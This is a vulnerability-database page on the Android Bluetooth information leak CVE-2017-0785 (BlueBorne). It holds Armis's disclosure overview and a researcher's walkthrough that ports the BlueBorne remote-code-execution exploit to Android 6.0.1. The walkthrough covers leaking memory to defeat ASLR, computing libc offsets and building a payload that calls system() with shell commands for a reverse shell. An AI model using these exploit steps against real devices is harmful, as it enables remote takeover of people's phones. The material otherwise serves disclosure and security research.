Vulnerabilities > CVE-2017-0785 - Information Exposure vulnerability in Google Android

047910
CVSS 6.5 - MEDIUM
Attack vector
ADJACENT_NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
HIGH
Integrity impact
NONE
Availability impact
NONE
low complexity
google
CWE-200
exploit available
NVD
Published: 2017-09-14
Updated: 2024-11-21

Summary

A information disclosure vulnerability in the Android system (bluetooth). Product: Android. Versions: 4.4.4, 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0, 7.1.1, 7.1.2, 8.0. Android ID: A-63146698.

Vulnerable Configurations

Part Description Count
OS
Google
30

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Subverting Environment Variable Values
    The attacker directly or indirectly modifies environment variables used by or controlling the target software. The attacker's goal is to cause the target software to deviate from its expected operation in a manner that benefits the attacker.
  • Footprinting
    An attacker engages in probing and exploration activity to identify constituents and properties of the target. Footprinting is a general term to describe a variety of information gathering techniques, often used by attackers in preparation for some attack. It consists of using tools to learn as much as possible about the composition, configuration, and security mechanisms of the targeted application, system or network. Information that might be collected during a footprinting effort could include open ports, applications and their versions, network topology, and similar information. While footprinting is not intended to be damaging (although certain activities, such as network scans, can sometimes cause disruptions to vulnerable applications inadvertently) it may often pave the way for more damaging attacks.
  • Exploiting Trust in Client (aka Make the Client Invisible)
    An attack of this type exploits a programs' vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by placing themselves in the communication channel between client and server such that communication directly to the server is possible where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
  • Browser Fingerprinting
    An attacker carefully crafts small snippets of Java Script to efficiently detect the type of browser the potential victim is using. Many web-based attacks need prior knowledge of the web browser including the version of browser to ensure successful exploitation of a vulnerability. Having this knowledge allows an attacker to target the victim with attacks that specifically exploit known or zero day weaknesses in the type and version of the browser used by the victim. Automating this process via Java Script as a part of the same delivery system used to exploit the browser is considered more efficient as the attacker can supply a browser fingerprinting method and integrate it with exploit code, all contained in Java Script and in response to the same web page request by the browser.
  • Session Credential Falsification through Prediction
    This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.

Exploit-Db

descriptionAndroid Bluetooth - 'Blueborne' Information Leak (2). CVE-2017-0785. Remote exploit for Android platform
idEDB-ID:44555
last seen2018-05-24
modified2017-09-20
published2017-09-20
reporterExploit-DB
sourcehttps://www.exploit-db.com/download/44555/
titleAndroid Bluetooth - 'Blueborne' Information Leak (2)

Seebug

  • bulletinFamilyexploit
    description### General Overview Armis Labs revealed a new attack vector endangering major mobile, desktop, and IoT operating systems, including Android, iOS, Windows, and Linux, and the devices using them. The new vector is dubbed “BlueBorne”, as it spread through the air (airborne) and attacks devices via Bluetooth. Armis has also disclosed eight related zero-day vulnerabilities, four of which are classified as critical. BlueBorne allows attackers to take control of devices, access corporate data and networks, penetrate secure “air-gapped” networks, and spread malware laterally to adjacent devices. Armis reported these vulnerabilities to the responsible actors, and is working with them as patches are being identified and released. Here is a quick overview of how BlueBorne works: https://youtu.be/LLNtZKpL0P8 #### Blueborne Brief Overview What Is BlueBorne? BlueBorne is an attack vector by which hackers can leverage Bluetooth connections to penetrate and take complete control over targeted devices. BlueBorne affects ordinary computers, mobile phones, and the expanding realm of IoT devices. The attack does not require the targeted device to be paired to the attacker’s device, or even to be set on discoverable mode. Armis Labs has identified eight zero-day vulnerabilities so far, which indicate the existence and potential of the attack vector. Armis believes many more vulnerabilities await discovery in the various platforms using Bluetooth. These vulnerabilities are fully operational, and can be successfully exploited, as demonstrated in our research. The BlueBorne attack vector can be used to conduct a large range of offenses, including remote code execution as well as Man-in-The-Middle attacks. Additional Information: Download our Technical White Paper on BlueBorne ### What Is The Risk? The BlueBorne attack vector has several qualities which can have a devastating effect when combined. By spreading through the air, BlueBorne targets the weakest spot in the networks’ defense – and the only one that no security measure protects. Spreading from device to device through the air also makes BlueBorne highly infectious. Moreover, since the Bluetooth process has high privileges on all operating systems, exploiting it provides virtually full control over the device. Unfortunately, this set of capabilities is extremely desireable to a hacker. BlueBorne can serve any malicious objective, such as cyber espionage, data theft, ransomware, and even creating large botnets out of IoT devices like the Mirai Botnet or mobile devices as with the recent WireX Botnet. The BlueBorne attack vector surpasses the capabilities of most attack vectors by penetrating secure “air-gapped” networks which are disconnected from any other network, including the internet. ### How Wide Is The Threat? #### The threat posed by the BlueBorne attack vector The BlueBorne attack vector can potentially affect all devices with Bluetooth capabilities, estimated at over 8.2 billion devices today. Bluetooth is the leading and most widespread protocol for short-range communications, and is used by devices of all kinds, from regular computers and mobile devices to IoT devices such as TVs, watches, cars, and even medical appliances. The latest published reports show more than 2 billion Android, 2 billion Windows, and 1 billion Apple devices in use. Gartner reports that there are 8 billions connected or IoT devices in the world today, many of which have Bluetooth. ### What Is New About BlueBorne? #### A new airborne attack vector BlueBorne concerns us because of the medium by which it operates. Unlike the majority of attacks today, which rely on the internet, a BlueBorne attack spreads through the air. This works similarly to the two less extensive vulnerabilities discovered recently in a Broadcom Wi-Fi chip by Project Zero and Exodus. The vulnerabilities found in Wi-Fi chips affect only the peripherals of the device, and require another step to take control of the device. With BlueBorne, b attackers can gain full control right from the start. Moreover, Bluetooth offers a wider attacker surface than WiFi, almost entirely unexplored by the research community and hence contains far more vulnerabilities. Airborne attacks, unfortunately, provide a number of opportunities for the attacker. First, spreading through the air renders the attack much more contagious, and allows it to spread with minimum effort. Second, it allows the attack to bypass current security measures and remain undetected, as traditional methods do not protect from airborne threats. Airborne attacks can also allow hackers to penetrate secure internal networks which are “air gapped,” meaning they are disconnected from any other network for protection. This can endanger industrial systems, government agencies, and critical infrastructure. Finally, unlike traditional malware or attacks, the user does not have to click on a link or download a questionable file. No action by the user is necessary to enable the attack #### A comprehensive and severe threat The BlueBorne attack vector requires no user interaction, is compatible to all software versions, and does not require any preconditions or configurations aside of the Bluetooth being active. Unlike the common misconception, Bluetooth enabled devices are constantly searching for incoming connections from any devices, and not only those they have been paired with. This means a Bluetooth connection can be established without pairing the devices at all. This makes BlueBorne one of the most broad potential attacks found in recent years, and allows an attacker to strike completely undetected. #### Next generation Bluetooth vulnerabilities In the past, most Bluetooth vulnerabilities and security flaws originated in issues with the protocol itself, which were resolved in version 2.1 in 2007. Nearly all vulnerabilities found since were of low severity, and did not allow remote code execution. This transition occurred as the research community turned its eyes elsewhere, and did not scrutinize the implementations of the Bluetooth protocol in the different platforms, as it did with other major protocols. Bluetooth is a difficult protocol to implement, which makes it prone to two kinds of vulnerabilities. On the one hand, vendors are likely to follow the protocol’s implementation guidelines word-for-word, which means that when a vulnerability is found in one platform it might affect others. These mirrored vulnerabilities happened with CVE-2017-8628 and CVE-2017-0783 (Windows & Android MiTM) which are “identical twins”. On the other hand, in some areas the Bluetooth specifications leave too much room for interpretation, causing fragmented methods of implementation in the various platforms, making each of them more likely to contain a vulnerability of its own. This is why the vulnerabilities which comprise BlueBorne are based on the various implementations of the Bluetooth protocol, and are more prevalent and severe than those of recent years. We are concerned that the vulnerabilities we found are only the tip of the iceberg, and that the distinct implementations of the protocol on other platforms may contain additional vulnerabilities. #### A Coordinated Disclosure Armis reached out to the following actors to ensure a safe, secure, and coordinated response to the vulnerabilities identified. Google – Contacted on April 19, 2017, after which details were shared. Released public security update and security bulletin on September 4th, 2017. Coordinated disclosure on September 12th, 2017. Microsoft – Contacted on April 19, 2017 after which details were shared. Updates were made on July 11. Public disclosure on September 12, 2017 as part of coordinated disclosure. Apple – Contacted on August 9, 2017. Apple had no vulnerability in its current versions. Samsung – Contact on three separate occasions in April, May, and June. No response was received back from any outreach. Linux – Contacted August 15 and 17, 2017. On September 5, 2017, we connected and provided the necessary information to the the Linux kernel security team and to the Linux distributions security contact list and conversations followed from there. Targeting updates for on or about September 12, 2017 for coordinated disclosure. ### Affected Devices #### The threat posed by the vulnerabilities Armis disclosed The vulnerabilities disclosed by Armis affect all devices running on Android, Linux, Windows, and pre-version 10 of iOS operating systems, regardless of the Bluetooth version in use. This means almost every computer, mobile device, smart TV or other IoT device running on one of these operating systems is endangered by at least one of the eight vulnerabilities. This covers a significant portion of all connected devices globally. #### What Devices Are Affected? ##### Android All Android phones, tablets, and wearables (except those using only Bluetooth Low Energy) of all versions are affected by four vulnerabilities found in the Android operating system, two of which allow remote code execution (CVE-2017-0781 and CVE-2017-0782), one results in information leak (CVE-2017-0785) and the last allows an attacker to perform a Man-in-The-Middle attack (CVE-2017-0783). Examples of impacted devices: * Google Pixel * Samsung Galaxy * Samsung Galaxy Tab * LG Watch Sport * Pumpkin Car Audio System Google has issued a patch and notified its partners. It will be available for: * Nougat (7.0) * Marshmallow (6.0) Google has issued a security update patch and notified its partners. It was available to Android partners on August 7th, 2017, and made available as part of the September Security Update and Bulletin. We recommend that users check that Bulletin for the latest most accurate information. Android users should verify that they have the September 9, 2017 Security Patch Level, Note to Android users: To check if your device is risk or is the devices around you are at risk, download the Armis BlueBorne Scanner App on Google Play. ##### Windows All Windows computers since Windows Vista are affected by the “Bluetooth Pineapple” vulnerability which allows an attacker to perform a Man-in-The-Middle attack (CVE-2017-8628). Microsoft is issuing security patches to all supported Windows versions at 10 AM, Tuesday, September 12. We recommend that Windows users should check with the Microsoft release here for the latest information. ##### Linux Linux is the underlying operating system for a wide range of devices. The most commercial, and consumer-oriented platform based on Linux is the Tizen OS. * All Linux devices running BlueZ are affected by the information leak vulnerability (CVE-2017-1000250). * All Linux devices from version 3.3-rc1 (released in October 2011) are affected by the remote code execution vulnerability (CVE-2017-1000251). Examples of impacted devices: * Samsung Gear S3 (Smartwatch) * Samsung Smart TVs * Samsung Family Hub (Smart refrigerator) Information on Linux updates will be provided as soon as they are live. ##### iOS All iPhone, iPad and iPod touch devices with iOS 9.3.5 and lower, and AppleTV devices with version 7.2.2 and lower are affected by the remote code execution vulnerability. This vulnerability was already mitigated by Apple in iOS 10, so no new patch is needed to mitigate it. We recommend you upgrade to the latest iOS or tvOS available. If you are concerned that your device may not be patched, we recommend disabling Bluetooth, and minimizing its use until you can confirm a patch is issued and installed on your device. ### Technical Overview #### BlueBorne Explained: How The Attack Vector Works The BlueBorne attack vector has several stages. First, the attacker locates active Bluetooth connections around him or her. Devices can be identified even if they are not set to “discoverable” mode. Next, the attacker obtains the device’s MAC address, which is a unique identifier of that specific device. By probing the device, the attacker can determine which operating system his victim is using, and adjust his exploit accordingly. The attacker will then exploit a vulnerability in the implementation of the Bluetooth protocol in the relevant platform and gain the access he needs to act on his malicious objective. At this stage the attacker can choose to create a Man-in-The-Middle attack and control the device’s communication, or take full control over the device and use it for a wide array of cybercriminal purposes. [Download our Technical White Paper on BlueBorne](http://go.armis.com/blueborne-technical-paper) #### BlueBorne attack on Android Once the attacker determined his target is using the Android operating system, he can use four of the vulnerabilities disclosed by Armis to exploit the device, or they can use a separate vulnerability to conduct a Man-in-The-Middle attack. Here is a quick demo of how BlueBorne can take control of an Android device: https://youtu.be/Az-l90RCns8 ##### Information Leak Vulnerability (CVE-2017-0785) The first vulnerability in the Android operating system reveals valuable information which helps the attacker leverage one of the remote code execution vulnerabilities described below. The vulnerability was found in the SDP (Service Discovery Protocol) server, which enables the device to identify other Bluetooth services around it. The flaw allows the attacker to send a set of crafted requests to the server, causing it to disclose memory bits in response. These pieces of information can later be used by the attacker to overcome advanced security measures and take control over the device. This vulnerability can also allow an attacker to leak encryption keys from the targeted device and eavesdrop on Bluetooth communications, in an attack that very much resembles heartbleed. ##### Remote Code Execution Vulnerability #1 (CVE-2017-0781) This vulnerability resides in the Bluetooth Network Encapsulation Protocol (BNEP) service, which enables internet sharing over a Bluetooth connection (tethering). Due to a flaw in the BNEP service, a hacker can trigger a surgical memory corruption, which is easy to exploit and enables him to run code on the device, effectively granting him complete control. Due to lack of proper authorization validations, triggering this vulnerability does not require any user interaction, authentication or pairing, so the targeted user is completely unaware of an ongoing attack. ##### Remote Code Execution vulnerability #2 (CVE-2017-0782) This vulnerability is similar to the previous one, but resides in a higher level of the BNEP service – the Personal Area Networking (PAN) profile – which is responsible for establishing an IP based network connection between two devices. In this case, the memory corruption is larger, but can still be leveraged by an attacker to gain full control over the infected device. Similar to the previous vulnerability, this vulnerability can also be triggered without any user interaction, authentication or pairing. ##### The Bluetooth Pineapple – Man in The Middle attack (CVE-2017-0783) Man-in-The-Middle (MiTM) attacks allow the attacker to intercept and intervene in all data going to or from the targeted device. To create a MiTM attack using Wi-Fi, the attacker requires both special equipment, and a connection request from the targeted device to an open WiFi network. In Bluetooth, the attacker can actively engage his target, using any device with Bluetooth capabilities. The vulnerability resides in the PAN profile of the Bluetooth stack, and enables the attacker to create a malicious network interface on the victim’s device, re-configure IP routing and force the device to transmit all communication through the malicious network interface. This attack does not require any user interaction, authentication or pairing, making it practically invisible. #### BlueBorne attack on Windows We have disclosed a vulnerability in Windows which allows an attacker to conduct a Man-in-The-Middle attack. Here is a quick demo of how BlueBorne can take create a MiTM attack: https://youtu.be/QrHbZPO9Rnc ##### The Bluetooth Pineapple #2 – Man in The Middle attack (CVE-2017-8628) This vulnerability is identical to the one found in the Android operating system, and affects both systems since they shared the same principals in implementing some of the Bluetooth protocol. The vulnerability resides in the Bluetooth stack, and enables the attacker to create a malicious network interface on the victim’s device, re-configure IP routing and force the device to transmit all communication through it. This attack does not require any user interaction, authentication or pairing, making it also practically invisible. #### BlueBorne attack on Linux Armis has disclosed two vulnerabilities in the Linux operating system which allow attackers to take complete control over infected devices. The first is an information leak vulnerability, which can help the attacker determine the exact version used by the targeted device and adjust his exploit accordingly. The second is a stack overflow with can lead to full control of a device. Here is a quick demo of how BlueBorne can take over a Linux device: https://youtu.be/U7mWeKhd_-A ##### Information leak vulnerability (CVE-2017-1000250) Similar to the information leak vulnerability in Android, this vulnerability resides in the SDP server responsible for identifying other services using Bluetooth around the device. The flaw allows the attacker to send a set of crafted requests to the server, causing it to disclose memory bits in response. This can be used by an attacker to expose sensitive data from the Bluetooth processthat may also contain encryption keys of Bluetooth communications. These can be used by the attacker to initiate an attack that very much resembles heartbleed. ##### A stack overflow in BlueZ (CVE-2017-1000251) This vulnerability was found in the Bluetooth stack of the Linux Kernel, which is the very core of the operating system. An internal flaw in the L2CAP (Logical Link Control and Adaptation Protocol) that is used to connect between two devices causes a memory corruption. An attacker can use this memory corruption to gain full control of the device. #### BlueBorne attack on iOS This vulnerability found by Armis was disclosed to Apple. Since it was mitigated in iOS version 10 and Apple TV version above 7.2.2, a full exploit was not developed to demonstrate how this vulnerability can be leveraged for gaining full control of an iOS device. However, this vulnerability still poses great risk to any iOS device prior to version 10, as it is does not require any interaction from the users, or configuration of any sort on the targeted device. The vulnerability can be leveraged by an attacker to gain remote code execution in a high-privileged context (the Bluetooth process). ##### Remote code execution via Apple’s Low Energy Audio Protocol This vulnerability was found in a new protocol Apple has invented, which operates on top of Bluetooth, called LEAP (Low energy audio protocol). The protocol is designed to stream audio to low energy audio peripherals (such as low energy headsets, or the Siri Remote). This enables devices that only have Bluetooth Low Energy to stream audio and send audio commands. Due to a flaw in the implementation of LEAP, a large audio command can be sent to a targeted device and lead to a memory corruption. Since the audio commands sent via LEAP are not properly validated, an attacker can use the memory corruption to gain full control of the device. ### Securing against BlueBorne Vulnerabilities that can spread over the air and between devices pose a tremendous threat to any organization or individual. Current security measures, including endpoint protection, mobile data management, firewalls, and network security solution are not designed to identify these type of attacks, and related vulnerabilities and exploits, as their main focus is to block attacks that can spread via IP connections. New solutions are needed to address the new airborne attack vector, especially those that make air gapping irrelevant. Additionally, there will need to be more attention and research as new protocols are using for consumers and businesses alike. With the large number of desktop, mobile, and IoT devices only increasing, it is critical we can ensure these types of vulnerabilities are not exploited. This is the primary mission of Armis in this new connected age.
    idSSV:96467
    last seen2017-11-19
    modified2017-09-13
    published2017-09-13
    reporterRoot
    sourcehttps://www.seebug.org/vuldb/ssvid-96467
    titleThe IoT Attack Vector “BlueBorne” Exposes Almost Every Connected Device (BlueBorne)
  • bulletinFamilyexploit
    descriptionA few days ago, the company Armis published a proof of concept (PoC) of a remote code execution vulnerability in Android via Bluetooth ([CVE-2017-0781](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0781)), known as BlueBorne. Although BlueBorne refers to a set of 8 vulnerabilities, this PoC uses only 2 of them to achieve its goal. The exploitation process is divided into 2 phases, first the memory leak vulnerability ([CVE-2017-0785](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0785)) is used to know the memory addresses and bypass the ASLR protection, and thus make a call to the function libc library system and execute code on the phone, in this case a reverse shell. The original source code of the Armis PoC is oriented to Android 7.1.2 on Pixel and Nexus 5X phones, and it is implied that to use it in another model it is only necessary to modify in the code the offsets of libc and bluetooth libraries. Later we will see how in the version 6.0.1 analyzed, the changes in the code of the bluetooth library are significant, complicating the exploitation and forcing us to make more modifications in the code of the PoC. To perform some of the following actions it is necessary to have root privileges on the phone. ### Libraries download The first step is to extract the libraries to analyze them on our computer with IDA or Radare. ``` $ adb pull /system/lib/hw/bluetooth.default.so $ adb pull /system/lib/libc.so ``` ### libc system function We open libc.so with Radare and look for the system function. As we can see it is in the address `0x3ea04`, which we introduce in the variable `LIBC_TEXT_STSTEM_OFFSET = 0x3ea04 +1`. ``` $ r2 -A libc.so > afl~system 0x0003ea04 10 184 sym.system ``` ### Memory leak The memory leak allows us to discover in which direction the libraries libc.so and bluetooth.default.so have been loaded. In the analyzed model, the necessary elements are not in the same position of the extracted memory, so we must look for the values ​​that point inside the libraries and modify the following code according to this. ``` likely_some_libc_blx_offset = result[X][X] likely_some_bluetooth_default_global_var_offset = result[X][X] ``` To perform this task we need to obtain a memory dump, and the section map of the com.android.bluetooth process. It’s important to obtain this data at the same time because these addresses changes each time the process is restarted. ``` $ ps | grep blue bluetooth 2184 212 905552 47760 sys_epoll_ b6ca7894 S com.android.bluetooth $ cat /proc/2184/maps|grep bluetooth.default.so b376f000-b38b0000 r-xp 00000000 b3:19 1049 /system/lib/hw/bluetooth.default.so b38b1000-b38b4000 r--p 00141000 b3:19 1049 /system/lib/hw/bluetooth.default.so b38b4000-b38b5000 rw-p 00144000 b3:19 1049 /system/lib/hw/bluetooth.default.so ``` We search in the memory leak a value between 0xb376f000 and 0xb38b5000, for convenience I use the script [CVE-2017-0785.py](https://github.com/ojasookert/CVE-2017-0785/blob/master/CVE-2017-0785.py) ``` $ python CVE-2017-0785.py TARGET=BC:F5:AC:XX:XX:XX | grep "b3 7.\|b3 8." 00000050 00 00 00 00 00 02 00 01 00 00 01 00 b3 85 e3 b7 00000060 00 00 00 00 ae df c5 f0 ac b6 19 10 b3 8b ed 84 ... 000000f0 b3 8b ed 78 00 00 00 00 ab 10 2e 10 ab 12 af 50 00000100 ac b6 11 f0 b3 8b ed 78 00 00 00 00 b3 85 e4 7d 00000110 00 00 00 00 b3 85 e3 b7 ac b6 11 f0 b3 85 b9 11 00000120 ac b6 11 f0 b3 8b ed 84 b3 84 8c 8d b3 97 f5 2c ... 00000180 00 00 00 00 b3 8b 3d 80 ae e1 55 ec ae e1 56 cc ``` In my case I used 0xb38b3d80 (line 180), we calculated the offset and updated the variable `BLUETOOTH_BSS_SOME_VAR_OFFSET`, without forgetting also to update the element of the result table from which we have obtained this value. To calculate the base address of libc we follow the same process. ``` $ cat /proc/2184/maps|grep libc.so b6c67000-b6cd9000 r-xp 00000000 b3:19 1118 /system/lib/libc.so b6cd9000-b6cdd000 r--p 00071000 b3:19 1118 /system/lib/libc.so b6cdd000-b6ce0000 rw-p 00075000 b3:19 1118 /system/lib/libc.so $ python CVE-2017-0785.py TARGET=BC:F5:AC:XX:XX:XX | grep "b6 c." 00000080 00 00 00 00 00 00 00 00 00 00 02 a8 b6 ce 92 e8 000000a0 00 00 00 08 ab 1b 04 c8 b6 cd c5 94 00 00 00 01 000000b0 b3 99 18 20 b6 cb c3 cf ab 1b 04 c8 ae df c8 68 000000c0 ae ed 10 00 ab 10 2e 10 b6 ce 93 0c ab 1b 04 c0 ... 00000350 b6 cd c5 94 00 00 00 01 ab 10 44 3c b6 cb c3 cf 00000370 b6 ce 93 0c ab 1b 04 c0 b6 cd c5 94 ab 1b 04 c8 00000380 ae ea 04 20 b6 cb f2 5b 00 01 00 00 ab 10 2f 00 00000400 00 00 00 01 b6 cb 05 c3 ab 10 44 30 00 00 00 00 ``` With any of these values ​​we calculate the offset and enter it in the variable LIBC_SOME_BLX_OFFSET From this moment we can forget the ASLR. ### Update With this code we can show the memory leak of the result variable of the script. ``` def print_result(result): i = 0 for line in result: sys.stdout.write("%02d: " % i) for x in line: sys.stdout.write("%08x " % x) else: sys.stdout.write("\n") i += 1 ``` In addition, if we take samples of several processes we can compare them to see which values ​​do not change and take them as a reference. ``` $ python3 diff.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 00: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 01: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 02: 00000000 00000000 00000000 00020001 a___0700 _____061 00000000 b6d__d59 _____481 03: ________ 00000000 00000008 _____541 _____1e3 00007530 00000000 ________ _____534 04: ________ _____534 a______0 _____463 _____481 ________ 00000000 00000000 ________ 05: _____783 a______8 ________ _____000 a_______ b6d__274 a______0 b6d__594 a______8 06: ________ b6d__eeb ___0____ 00000008 b3______ _______0 _____f50 00000000 a_______ 07: b3______ _______0 _____f50 00000000 _____bad 00000000 _____adf _______0 _____061 08: _______0 _____f58 _____481 _____bd8 00000000 0000000f ________ _____1e3 00007530 09: 00000000 _____bd8 _____534 _____bd8 _____534 _______0 _____463 _____481 _____bd8 10: 00000000 00000000 _____bd8 _____783 _____481 _____bd0 0000____ _______c _____d34 11: _______c _______b _______b 00000002 _____053 _______b 0000000_ 00000000 b4d____0 12: _____090 00000004 _____538 b6d__035 00000000 00000000 00000005 00000348 000005f0 13: b6d__250 ________ 00000005 _______0 _____000 00000008 a______8 b6d__594 00000001 14: 00000000 b6d__03f a______8 _______0 _____000 ________ b6d__274 a______0 b6d__594 15: a______8 _______0 b6d__eeb 00000000 _____c9d ________ 4000____ a______0 00000003 16: 00000000 a______0 a______8 ________ 00000004 _______c 00000006 _______c _____4c1 17: 0000004_ _______4 ________ 00000000 _____4e5 00000006 ________ 00000014 _____827 18: _____f3c _____75f fffff855 _____581 _____618 b______0 _____607 _____f5c 0000000f 19: 0000000f 00000001 00000000 0000000f _______c _______4 ________ 00000000 _____bd7 ``` ### REMOTE_NAME variable This variable contains the name of the device that makes the connection and in the PoC version 7.1.2 it is used to enter the system address and the bash command. Later it is detailed so that we will use this variable. The method I followed to find the memory address of this variable has been to use GDB with PEDA-ARM and searchmem memory search function. This offset is entered in the variable BSS_ACL_REMOTE_NAME_OFFSET. ![](https://images.seebug.org/1510800119250) ![](https://images.seebug.org/1510800127814) ### Payload As we see in the technical detail of the Armis PoC https://go.armis.com/hubfs/BlueBorne - Android Exploit.pdf, if we overwrite R0 with the address of REMOTE_NAME , the btu_hci_msg_process function jumps to the address contained in [REMOTE_NAME + 8], leaving the address of REMOTE_NAME on R0. ``` mov r4, r0 ... ldr r1, [r4 + 8] mov r0, r4 blx r1 ``` Therefore, in this case we enter the memory address of the system function in REMOTE_NAME+8. The argument that the system function will execute is the content of REMOTE_NAME, so having the system address inside it would cause an error. The people of Armis solve this problem using the following structure, in which the 2 commands are separated with ;, leaving the system address in position 8. ``` Payload is: '"\x17AAAAAAsysm";\n<bash_commands>\n#' ``` In version 6.0.1 of Android it is not possible to perform the operation in the same way since this same function does not exist in the library. On the other hand, within the exploitable functions, I have used the `000f1e36` function that also allows us to control the jump direction and the value of `r0`. ![](https://images.seebug.org/1510800210505) These are the instructions that allow us to control r0 and the jump direction. ``` ldr r0, [r0 + 4] ... ldr r3, [r0 + 8] ldr r0, [r0] ldr r2, [r3 + 28] blx r2 ``` Simplifying, we have the following equation, where x is the value of 4 bytes that we control. ``` jump = [[[x+4]+8]+28] r0 = [[x+4]] ``` To achieve our goal we need to use three pointers to control the jump, and one to control the r0; when originally only one was needed that pointed to system. The payload used as REMOTE_NAME follows the following structure. ``` 0 4 8 12 16 X +------------------+------+-----------+--------+---------------+ | shellscript_addr | name | name - 16 | system | bash_commands | +------------------+------+-----------+--------+---------------+ Jump address: 1 : [name+4] = name 2 : [name+8] = name-16 3 : [name-16+28] = [name+12] = system r0: 1 : [name+4] = name 2 : [name] = shellscript_addr ``` ### Execution Once the code is finished, we test it and observe how, like the original PoC, it is necessary to launch it several times to obtain a satisfactory exploitation. ![](https://images.seebug.org/1510800255620) ### Code [blueborne-nexus5.py](https://gist.github.com/jesux/64cf037c55c0d42196762c0ccacc7380) [diff.py](https://gist.github.com/jesux/976903dd7f70203ddd5d8bcaac1e38be) [Armis BlueBorne Android Exploit PoC](https://github.com/ArmisSecurity/blueborne)
    idSSV:96868
    last seen2017-11-19
    modified2017-11-16
    published2017-11-16
    reporterRoot
    titleBlueBorne RCE on Android 6.0.1 (CVE-2017-0781)

The Hacker News

References